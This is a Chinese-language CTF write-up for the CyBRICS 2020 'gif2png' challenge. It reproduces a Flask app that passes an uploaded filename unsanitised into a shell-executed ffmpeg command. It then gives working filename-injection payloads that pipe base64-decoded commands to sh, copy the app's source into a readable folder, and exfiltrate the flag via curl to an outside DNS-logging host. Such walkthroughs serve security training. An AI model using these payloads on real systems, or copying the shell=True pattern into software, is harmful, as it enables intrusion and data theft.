iloveflag-blog

CyBRICS2020

字数统计: 805阅读时长: 4 min
2020/08/05 Share

gif2png

Environment:(https://github.com/iloveflag/CTF_Training_Warehouse/CyBRICS2020/gif2png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# main.py
import logging
import re
import subprocess
import uuid
from pathlib import Path

from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
from flask_bootstrap import Bootstrap
import os
from werkzeug.utils import secure_filename
import filetype


ALLOWED_EXTENSIONS = {'gif'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
logging.debug(request.headers)
if request.method == 'POST':
if 'file' not in request.files:
logging.debug('No file part')
flash('No file part', 'danger')
return redirect(request.url)

file = request.files['file']
if file.filename == '':
logging.debug('No selected file')
flash('No selected file', 'danger')
return redirect(request.url)

if not allowed_file(file.filename):
logging.debug(f'Invalid file extension of file: {file.filename}')
flash('Invalid file extension', 'danger')
return redirect(request.url)

if file.content_type != "image/gif":
logging.debug(f'Invalid Content type: {file.content_type}')
flash('Content type is not "image/gif"', 'danger')
return redirect(request.url)

if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)

if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))

mime_type = filetype.guess_mime(f'uploads/{file.filename}')
if mime_type != "image/gif":
logging.debug(f'Invalid Mime type: {mime_type}')
flash('Mime type is not "image/gif"', 'danger')
return redirect(request.url)

uid = str(uuid.uuid4())
os.mkdir(f"uploads/{uid}")

logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")

command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
command.wait(timeout=15)
logging.debug(command.stdout)

flash('Successfully saved', 'success')
return redirect(url_for('result', uid=uid))

return render_template("form.html")


@app.route('/result/<uid>/')
def result(uid):
images = []
for image in os.listdir(f"uploads/{uid}"):
mime_type = filetype.guess(str(Path("uploads") / uid / image))
if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
images.append(image)

return render_template("result.html", uid=uid, images=images)


@app.route('/uploads/<uid>/<image>')
def image(uid, image):
logging.debug(request.headers)
dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
return send_from_directory(dir, image)


@app.errorhandler(413)
def request_entity_too_large(error):
return "File is too large", 413


if __name__ == "__main__":
app.run(host='localhost', port=5000, debug=False, threaded=True)

定位到这一行

1
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)

可知这是一道命令执行题

20200805141940
先将上传的gif图像保存在uploads下,利用ffmpeg命令将gif分解到对应的uid文件夹下,此时uid为06d62ee7-1b99-4a4c-9397-a601f5565bd7

则此时{file.filename} 文件名可控造成漏洞

1
2
3
4
if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)

1
2
3
MALICIOUS_NAME'||MALICIOUS SYTEM COMMAND HERE||'

ffmpeg -i 'uploads/MALICIOUS_NAME'||MALICIOUS SYTEM COMMAND HERE||' "uploads/{uid}/%03d.png\"

且要绕过正则,采用base64的方法绕过
将main.py复制到uid目录下
payload为

1
cp main.py uploads/06d62ee7-1b99-4a4c-9397-a601f5565bd7/flag.png

base64后:
1
Y3AgbWFpbi5weSB1cGxvYWRzLzA2ZDYyZWU3LTFiOTktNGE0Yy05Mzk3LWE2MDFmNTU2NWJkNy9mbGFnLnBuZw==

执行语句为:
1
echo Y3AgbWFpbi5weSB1cGxvYWRzLzA2ZDYyZWU3LTFiOTktNGE0Yy05Mzk3LWE2MDFmNTU2NWJkNy9mbGFnLnBuZw==|base64 -d|sh

则拼接后的payload为:

1
test'||echo Y3AgbWFpbi5weSB1cGxvYWRzLzA2ZDYyZWU3LTFiOTktNGE0Yy05Mzk3LWE2MDFmNTU2NWJkNy9mbGFnLnBuZw==|base64 -d|sh||'.gif

20200805170052

随后访问
http://192.168.10.128:5000/uploads/06d62ee7-1b99-4a4c-9397-a601f5565bd7/flag.png

二进制打开看到源码及flag

有很多writeup写着反弹shell因为防火墙原因无法回弹,采用dnsbin的方法收flag
(https://nullarmor.github.io/posts/cybrics-gif2png)

1
flag=$(cat main.py|grep -wo cybrics{.*|base64|tr -d '=');curl $flag.970786bab153cc7ab999.d.zhack.ca

tip:dnsbin不会接收太多数据,所以要先正则过滤一下
base64

1
ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgLXdvIGN5YnJpY3N7Lip8YmFzZTY0fHRyIC1kICc9Jyk7Y3VybCAkZmxhZy45NzA3ODZiYWIxNTNjYzdhYjk5OS5kLnpoYWNrLmNh

payload:
1
test'||echo ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgLXdvIGN5YnJpY3N7Lip8YmFzZTY0fHRyIC1kICc9Jyk7Y3VybCAkZmxhZy45NzA3ODZiYWIxNTNjYzdhYjk5OS5kLnpoYWNrLmNh|base64 -d|sh||'.gif

20200805173230

但是dnsbin并不区分大小写,base64可能卡住
还有一些写入本地图片的操作(https://ctftime.org/task/12512)

CATALOG
  1. 1. gif2png